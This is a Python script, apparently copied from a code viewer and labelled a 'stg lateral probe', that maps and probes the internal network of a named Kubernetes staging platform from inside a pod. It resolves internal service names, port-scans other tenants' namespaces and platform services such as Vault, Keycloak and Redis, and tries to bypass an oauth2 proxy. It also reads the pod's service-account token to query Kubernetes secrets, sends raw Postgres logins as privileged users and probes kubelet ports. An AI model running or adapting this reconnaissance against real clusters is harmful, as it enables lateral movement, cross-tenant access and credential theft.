403 lines
17 KiB
Python
403 lines
17 KiB
Python
#!/usr/bin/env python3
|
|
# i26279 stg lateral probe (read-only, runs inside own pod)
|
|
import os, sys, json, socket, struct, ssl, http.client, time, concurrent.futures as cf
|
|
|
|
OUT = []
|
|
def P(s):
|
|
line = "LAT|" + str(s)
|
|
print(line, flush=True)
|
|
OUT.append(line)
|
|
|
|
def safe(fn, *a, **k):
|
|
try:
|
|
return fn(*a, **k)
|
|
except Exception as e:
|
|
return "%s:%s" % (type(e).__name__, str(e)[:70])
|
|
|
|
PROJECTS = [
|
|
("89342468","device-setup"),("4d9765d0","test-db"),("11003ae0","test-db-2"),
|
|
("7f3b4c7b","cuicui"),("7a8fccc1","zz-test-reuse"),("3834940d","ttd"),
|
|
("f688fc3e","ddd"),("34e0460c","ttt"),("ce59e117","dtt"),
|
|
("5210c3bb","the-controller-sandbox2"),("7f1b4e9e","db3"),
|
|
("e0fc9bf5","15h54"),("c7d4c1d9","db4"),("efde4cf0","ttd2"),
|
|
("a1b25759","test-db"),
|
|
]
|
|
|
|
PLATFORM_DNS = [
|
|
"kubernetes.default.svc","kubernetes.default.svc.cluster.local",
|
|
"integration-proxy.secforge-integrations",
|
|
"integration-proxy.secforge-integrations.svc.cluster.local",
|
|
# observability / logging
|
|
"victoria-logs.monitoring","victoria-logs.logging","victoria-logs.observability",
|
|
"victoria-logs.monitoring.svc.cluster.local","vlogs.monitoring","victoria-metrics.monitoring",
|
|
"victoriametrics.monitoring","grafana.monitoring","grafana.observability","prometheus.monitoring",
|
|
"alertmanager.monitoring","loki.logging","vector.logging","fluent-bit.logging",
|
|
# identity / secrets
|
|
"keycloak.secforge","keycloak.auth","keycloak.keycloak","keycloak.identity",
|
|
"vault.vault","vault.secforge","vault.vault.svc.cluster.local",
|
|
# atlassian / ops
|
|
"jira.atlassian","confluence.atlassian","jira.secforge","confluence.secforge",
|
|
"rancher.cattle-system","rancher.rancher",
|
|
# data
|
|
"redis.secforge","redis.data","redis.cache","postgres.secforge","postgresql.secforge",
|
|
"elasticsearch.logging","opensearch.logging",
|
|
# platform control plane / operator
|
|
"secforge.secforge","api.secforge","backend.secforge","secforge-api.secforge",
|
|
"secforge-control-plane.secforge","control-plane.secforge","operator.secforge",
|
|
"secforge-operator.secforge","secforge-operator.secforge-system",
|
|
"deploy-machine.secforge","build-orchestrator.secforge","build-orchestrator.secforge-integrations",
|
|
"mcp.secforge","argocd.argocd","argo-cd.argocd","minio.minio","harbor.harbor",
|
|
"coredns.kube-system","kube-dns.kube-system","metrics-server.kube-system","aws-node.kube-system",
|
|
"aws-load-balancer-controller.kube-system","ebs-csi-controller.kube-system","kube-proxy.kube-system",
|
|
"cluster-autoscaler.kube-system","external-dns.kube-system","cert-manager.cert-manager",
|
|
"ingress-nginx.ingress-nginx","traefik.traefik","envoy-gateway.envoy-gateway-system",
|
|
"istio-ingressgateway.istio-system","external-secrets.external-secrets","kyverno.kyverno",
|
|
"falco.falco","prometheus-node-exporter.monitoring","kube-state-metrics.monitoring",
|
|
"loki-gateway.logging","otel-collector.observability","tempo.tempo","jaeger.jaeger",
|
|
]
|
|
|
|
def dns(name):
|
|
try:
|
|
infos = socket.getaddrinfo(name, None)
|
|
ips = sorted({i[4][0] for i in infos})
|
|
return ips
|
|
except Exception as e:
|
|
return None
|
|
|
|
def resolve_all(namemap):
|
|
res = {}
|
|
with cf.ThreadPoolExecutor(max_workers=16) as ex:
|
|
futs = {ex.submit(dns, n): n for n in namemap}
|
|
for f in cf.as_completed(futs):
|
|
n = futs[f]
|
|
r = f.result()
|
|
res[n] = r
|
|
if r is not None:
|
|
P("DNS %s -> %s" % (n, ",".join(r)))
|
|
return res
|
|
|
|
def tcp(ip, port, t=1.2):
|
|
try:
|
|
s = socket.create_connection((ip, port), timeout=t)
|
|
s.close()
|
|
return "OPEN"
|
|
except ConnectionRefusedError:
|
|
return "REFUSED"
|
|
except socket.timeout:
|
|
return "TIMEOUT"
|
|
except OSError as e:
|
|
return "ERR:%s" % (str(e)[:40])
|
|
|
|
def hreq(ip, port, host, path, tls=False, timeout=4.0, method="GET", hdrs=None):
|
|
h = {"Host": host, "User-Agent": "stg-lat/1", "Accept": "*/*"}
|
|
if hdrs:
|
|
h.update(hdrs)
|
|
try:
|
|
if tls:
|
|
ctx = ssl.create_default_context()
|
|
ctx.check_hostname = False
|
|
ctx.verify_mode = ssl.CERT_NONE
|
|
c = http.client.HTTPSConnection(ip, port, timeout=timeout, context=ctx)
|
|
else:
|
|
c = http.client.HTTPConnection(ip, port, timeout=timeout)
|
|
c.request(method, path, headers=h)
|
|
r = c.getresponse()
|
|
body = r.read(1200)
|
|
srv = r.getheader("Server") or ""
|
|
loc = r.getheader("Location") or ""
|
|
ct = r.getheader("Content-Type") or ""
|
|
snippet = body[:260].decode("utf-8", "replace").replace("\n", " ").replace("|", "/")
|
|
return "code=%s len=%s srv=%s ct=%s loc=%s body=%s" % (r.status, len(body), srv[:30], ct[:30], loc[:60], snippet)
|
|
except Exception as e:
|
|
return "ERR:%s" % str(e)[:80]
|
|
|
|
def readiness():
|
|
import http.server, threading
|
|
class H(http.server.BaseHTTPRequestHandler):
|
|
def do_GET(self):
|
|
self.send_response(200); self.end_headers(); self.wfile.write(b"ok")
|
|
def log_message(self, *a): pass
|
|
try:
|
|
srv = http.server.HTTPServer(("0.0.0.0", 8080), H)
|
|
threading.Thread(target=srv.serve_forever, daemon=True).start()
|
|
P("READY listener 8080")
|
|
except Exception as e:
|
|
P("READY ERR %s" % e)
|
|
|
|
def main():
|
|
readiness()
|
|
P("START %s" % time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime()))
|
|
P("HOST %s" % safe(socket.gethostname))
|
|
try:
|
|
rc = open("/etc/resolv.conf").read().replace("\n", " ; ")[:300]
|
|
except Exception as e:
|
|
rc = str(e)
|
|
P("RESOLV %s" % rc)
|
|
try:
|
|
hosts = open("/etc/hosts").read().replace("\n", " ; ")[:300]
|
|
except Exception as e:
|
|
hosts = str(e)
|
|
P("HOSTS %s" % hosts)
|
|
# env (keys only + a few fully-safe values)
|
|
keys = ",".join(sorted(os.environ.keys()))[:900]
|
|
P("ENVKEYS %s" % keys)
|
|
for k in ("KUBERNETES_SERVICE_HOST", "KUBERNETES_SERVICE_PORT", "SECFORGE_INTEGRATION_PROXY_URL", "SECFORGE_PROJECT_ID"):
|
|
P("ENV %s=%s" % (k, os.environ.get(k, "")))
|
|
|
|
# ---- DNS ----
|
|
names = {}
|
|
for id8, name in PROJECTS:
|
|
ns = "sf-app-" + id8
|
|
names["app-%s.%s.svc.cluster.local" % (id8, ns)] = ("app", id8, name)
|
|
names["%s.%s.svc.cluster.local" % (name, ns)] = ("app", id8, name)
|
|
for n in PLATFORM_DNS:
|
|
names.setdefault(n, ("plat", None, n))
|
|
P("STEP dns count=%d" % len(names))
|
|
res = resolve_all(names)
|
|
|
|
# ---- collect ip targets ----
|
|
targets = {} # ip -> set(ports), label
|
|
def add_t(ip, ports, label):
|
|
targets.setdefault(ip, {"ports": set(), "labels": []})
|
|
targets[ip]["ports"].update(ports)
|
|
targets[ip]["labels"].append(label)
|
|
|
|
for n, ips in res.items():
|
|
if not ips:
|
|
continue
|
|
kind = names[n][0]
|
|
if kind == "app":
|
|
for ip in ips:
|
|
add_t(ip, [80, 8080, 443], "app:" + names[n][2])
|
|
else:
|
|
add_t(ips[0], [80, 443, 8080, 5432, 6379, 3100, 9428, 3000, 8180, 8200, 8443, 9200], "svc:" + n)
|
|
# known targets
|
|
add_t("172.20.22.252", [80, 443, 8080], "known:integration-proxy")
|
|
add_t("172.20.0.1", [443, 6443], "known:k8s-api")
|
|
add_t("10.255.77.138", [5432, 6432, 6379, 3306], "known:rds")
|
|
|
|
P("STEP tcp ips=%d" % len(targets))
|
|
# priority job order: known -> app -> platform (limited port set per name)
|
|
jobs = []
|
|
for ip, meta in targets.items():
|
|
if any(l.startswith("known:") for l in meta["labels"]):
|
|
for p in sorted(meta["ports"]):
|
|
jobs.append((ip, p))
|
|
for ip, meta in targets.items():
|
|
if any(l.startswith("app:") for l in meta["labels"]):
|
|
for p in (80, 8080, 443, 5432, 6379):
|
|
jobs.append((ip, p))
|
|
PORTS_BY_NAME = {
|
|
"victoria-logs": [9428, 3100, 80], "vlogs": [9428, 3100], "victoria-metrics": [8428, 80],
|
|
"victoriametrics": [8428, 80], "grafana": [3000, 80], "prometheus": [9090, 80],
|
|
"alertmanager": [9093, 80], "loki": [3100], "vector": [8686], "fluent": [2020],
|
|
"keycloak": [8180, 8080, 80, 443], "vault": [8200, 80, 443], "rancher": [443, 8443, 80],
|
|
"jira": [8080, 80, 443], "confluence": [8080, 80, 443], "argocd": [443, 80],
|
|
"minio": [9000, 80], "harbor": [443, 80], "elasticsearch": [9200, 80], "opensearch": [9200, 80],
|
|
"redis": [6379], "postgres": [5432], "postgresql": [5432],
|
|
}
|
|
for ip, meta in targets.items():
|
|
if any(l.startswith("svc:") for l in meta["labels"]):
|
|
ps = set()
|
|
for l in meta["labels"]:
|
|
nm = l[4:]
|
|
for k, v in PORTS_BY_NAME.items():
|
|
if k in nm:
|
|
ps.update(v)
|
|
if not ps:
|
|
ps = {80, 443}
|
|
for p in sorted(ps):
|
|
jobs.append((ip, p))
|
|
# dedupe cap work
|
|
seen = set(); jj = []
|
|
for ip, p in jobs:
|
|
if (ip, p) in seen:
|
|
continue
|
|
seen.add((ip, p)); jj.append((ip, p))
|
|
jobs = jj[:320]
|
|
openaddrs = set()
|
|
with cf.ThreadPoolExecutor(max_workers=24) as ex:
|
|
futs = {ex.submit(tcp, ip, p): (ip, p) for ip, p in jobs}
|
|
for f in cf.as_completed(futs):
|
|
ip, p = futs[f]
|
|
st = f.result()
|
|
if st == "OPEN":
|
|
openaddrs.add((ip, p))
|
|
P("TCP %s:%s OPEN [%s]" % (ip, p, ",".join(sorted(set(targets[ip]["labels"])))[:80]))
|
|
elif st in ("REFUSED",):
|
|
P("TCP %s:%s %s" % (ip, p, st))
|
|
|
|
# ---- app service HTTP (direct ClusterIP, oauth2-proxy bypass attempt) ----
|
|
P("STEP app-http")
|
|
app_ips = {}
|
|
for id8, name in PROJECTS:
|
|
n = "app-%s.sf-app-%s.svc.cluster.local" % (id8, id8)
|
|
ips = res.get(n)
|
|
if ips:
|
|
app_ips[(id8, name)] = ips[0]
|
|
paths = ["/", "/healthz", "/api/version", "/openapi.json", "/api/me"]
|
|
for (id8, name), ip in app_ips.items():
|
|
host = "%s.apps.stg.sf.ledgerlabs.net" % name
|
|
port = 80 if (ip, 80) in openaddrs else (8080 if (ip, 8080) in openaddrs else (443 if (ip, 443) in openaddrs else None))
|
|
if port is None:
|
|
P("HTTPAPP %s(%s) no-open-app-port ip=%s tcp80/8080 blocked" % (name, id8, ip))
|
|
continue
|
|
pp = list(paths)
|
|
if "controller" in name:
|
|
pp += ["/api/items", "/conversations.list"]
|
|
for path in pp:
|
|
r = hreq(ip, port, host, path, timeout=3.5)
|
|
if r.startswith("code="):
|
|
code = r.split()[0]
|
|
P("HTTPAPP %s(%s) http://%s:80%s %s" % (name, id8, ip, path, r))
|
|
else:
|
|
P("HTTPAPP %s(%s) http://%s:80%s %s" % (name, id8, ip, path, r))
|
|
|
|
# ---- internal services HTTP ----
|
|
P("STEP svc-http")
|
|
svc = [
|
|
("integration-proxy", "172.20.22.252", 80, "/healthz", False),
|
|
("integration-proxy", "172.20.22.252", 80, "/metrics", False),
|
|
]
|
|
# platform services by resolved ip
|
|
svc_names = [
|
|
("victoria-logs", ["/health", "/select/logsql/query?query=*&limit=1"], [9428, 3100, 80]),
|
|
("grafana", ["/api/health", "/api/dashboards/home"], [3000, 80]),
|
|
("prometheus", ["/-/healthy", "/api/v1/targets?limit=1"], [9090, 80]),
|
|
("keycloak", ["/realms/master/.well-known/openid-configuration"], [8180, 8080, 80, 443]),
|
|
("vault", ["/v1/sys/health", "/v1/sys/seal-status"], [8200, 80, 443]),
|
|
("rancher", ["/v3-public/settings"], [443, 8443, 80]),
|
|
("jira", ["/rest/api/2/myself"], [8080, 80, 443]),
|
|
("confluence", ["/rest/api/content?limit=1"], [8080, 80, 443]),
|
|
("argocd", ["/api/version"], [443, 80]),
|
|
("minio", ["/minio/health/live"], [9000, 80]),
|
|
("elasticsearch", ["/"], [9200, 80]),
|
|
]
|
|
for display, paths_, ports in svc_names:
|
|
for n, ips in res.items():
|
|
if not ips or display not in n:
|
|
continue
|
|
ip = ips[0]
|
|
for port in ports:
|
|
if tcp(ip, port, 1.0) != "OPEN":
|
|
continue
|
|
for path in paths_:
|
|
P("HTTPSVC %s %s:%s%s %s" % (display, ip, port, path, hreq(ip, port, n, path, tls=(port in (443, 8443)), timeout=4)))
|
|
for name, ip, port, path, tls in svc:
|
|
P("HTTPSVC %s %s:%s%s %s" % (name, ip, port, path, hreq(ip, port, name, path, tls=tls, timeout=4)))
|
|
|
|
# ---- K8s API ----
|
|
P("STEP k8s")
|
|
sa = "/var/run/secrets/kubernetes.io/serviceaccount/token"
|
|
ns = "sf-app-a1b25759"
|
|
try:
|
|
tok = open(sa).read().strip()
|
|
P("K8S token_len=%d" % len(tok))
|
|
except Exception as e:
|
|
tok = ""
|
|
P("K8S token ERR %s" % e)
|
|
if tok:
|
|
hd = {"Authorization": "Bearer " + tok}
|
|
for path in ["/api", "/apis", "/api/v1/namespaces?limit=5",
|
|
"/api/v1/namespaces/%s/secrets?limit=5" % ns,
|
|
"/api/v1/namespaces/%s/services?limit=10" % ns,
|
|
"/api/v1/namespaces/%s/pods?limit=5" % ns,
|
|
"/api/v1/services?limit=5"]:
|
|
P("K8S GET %s -> %s" % (path, hreq("172.20.0.1", 443, "kubernetes.default.svc", path, tls=True, timeout=5, hdrs=hd)))
|
|
ssar = json.dumps({"apiVersion": "authorization.k8s.io/v1", "kind": "SelfSubjectAccessReview",
|
|
"spec": {"resourceAttributes": {"verb": "list", "resource": "secrets"}}})
|
|
try:
|
|
ctx = ssl.create_default_context(); ctx.check_hostname = False; ctx.verify_mode = ssl.CERT_NONE
|
|
c = http.client.HTTPSConnection("172.20.0.1", 443, timeout=5, context=ctx)
|
|
c.request("POST", "/apis/authorization.k8s.io/v1/selfsubjectaccessreviews",
|
|
body=ssar, headers={"Host": "kubernetes.default.svc", "Authorization": "Bearer " + tok,
|
|
"Content-Type": "application/json"})
|
|
r = c.getresponse(); b = r.read(500).decode("utf-8", "replace")
|
|
P("K8S SSAR -> code=%s %s" % (r.status, b[:300]))
|
|
except Exception as e:
|
|
P("K8S SSAR ERR %s" % e)
|
|
|
|
# ---- Postgres / Redis raw handshakes ----
|
|
P("STEP data")
|
|
def pg(ip, port, user, db):
|
|
s = None
|
|
try:
|
|
s = socket.create_connection((ip, port), timeout=5)
|
|
s.sendall(struct.pack("!II", 8, 80877103))
|
|
r = s.recv(1)
|
|
sslr = r.decode("latin1") if r else "-"
|
|
if r == b"S":
|
|
ctx = ssl.create_default_context(); ctx.check_hostname = False; ctx.verify_mode = ssl.CERT_NONE
|
|
s = ctx.wrap_socket(s, server_hostname="rds")
|
|
body = b"user\x00" + user.encode() + b"\x00database\x00" + db.encode() + b"\x00client_encoding\x00UTF8\x00\x00"
|
|
msg = struct.pack("!I", len(body) + 4) + struct.pack("!I", 196608) + body
|
|
s.sendall(msg)
|
|
s.settimeout(5)
|
|
data = s.recv(900)
|
|
info = ""
|
|
if data:
|
|
typ = data[0:1]
|
|
if typ == b"R" and len(data) >= 9:
|
|
code = struct.unpack("!I", data[5:9])[0]
|
|
info = "authcode=%d" % code
|
|
if typ == b"E":
|
|
info = "ERROR"
|
|
info += " raw=" + data[:400].decode("latin1", "replace").replace("\x00", " ")
|
|
return "ssl=%s %s" % (sslr, info)
|
|
except Exception as e:
|
|
return "ERR:%s" % str(e)[:120]
|
|
finally:
|
|
try:
|
|
if s: s.close()
|
|
except Exception: pass
|
|
P("PG 10.255.77.138:5432 user=test_db db=postgres -> %s" % pg("10.255.77.138", 5432, "test_db", "postgres"))
|
|
P("PG 10.255.77.138:5432 user=postgres db=postgres -> %s" % pg("10.255.77.138", 5432, "postgres", "postgres"))
|
|
if tcp("10.255.77.138", 6432, 1.0) == "OPEN":
|
|
P("PG 10.255.77.138:6432 user=test_db -> %s" % pg("10.255.77.138", 6432, "test_db", "postgres"))
|
|
def redis(ip, port, cmd="PING"):
|
|
try:
|
|
s = socket.create_connection((ip, port), timeout=3)
|
|
s.sendall(("PING\r\n").encode())
|
|
d = s.recv(200)
|
|
out = d[:120].decode("latin1", "replace")
|
|
try:
|
|
s.sendall(("INFO server\r\n").encode()); d2 = s.recv(700)
|
|
out += " | " + d2[:380].decode("latin1", "replace").replace("\n", " ")
|
|
except Exception:
|
|
pass
|
|
s.close()
|
|
return out.replace("\n", " ")
|
|
except Exception as e:
|
|
return "ERR:%s" % str(e)[:70]
|
|
if tcp("10.255.77.138", 6379, 1.0) == "OPEN":
|
|
P("REDIS 10.255.77.138:6379 PING -> %s" % redis("10.255.77.138", 6379))
|
|
|
|
# ---- node / gateway surface ----
|
|
try:
|
|
gw = None
|
|
for line in open("/proc/net/route").read().splitlines()[1:]:
|
|
f = line.split()
|
|
if f[1] == "00000000":
|
|
iphex = f[2]
|
|
gw = ".".join(str(int(iphex[i:i+2], 16)) for i in (6, 4, 2, 0))
|
|
P("NODE gateway=%s" % gw)
|
|
if gw:
|
|
for port in (22, 10250, 10255, 443, 6443, 2379, 8080):
|
|
st = tcp(gw, port, 1.0)
|
|
if st == "OPEN":
|
|
P("TCP %s:%s OPEN [gateway/node]" % (gw, port))
|
|
P("KUBELET %s:10250/healthz -> %s" % (gw, hreq(gw, 10250, gw, "/healthz", tls=True, timeout=4)))
|
|
P("KUBELET %s:10255/pods -> %s" % (gw, hreq(gw, 10255, gw, "/pods", timeout=4)))
|
|
except Exception as e:
|
|
P("NODE ERR %s" % e)
|
|
|
|
P("DONE %s" % time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime()))
|
|
sys.stdout.flush()
|
|
time.sleep(300)
|
|
|
|
if __name__ == "__main__":
|
|
try:
|
|
main()
|
|
except Exception as e:
|
|
P("FATAL %s:%s" % (type(e).__name__, str(e)[:300]))
|
|
time.sleep(120)
|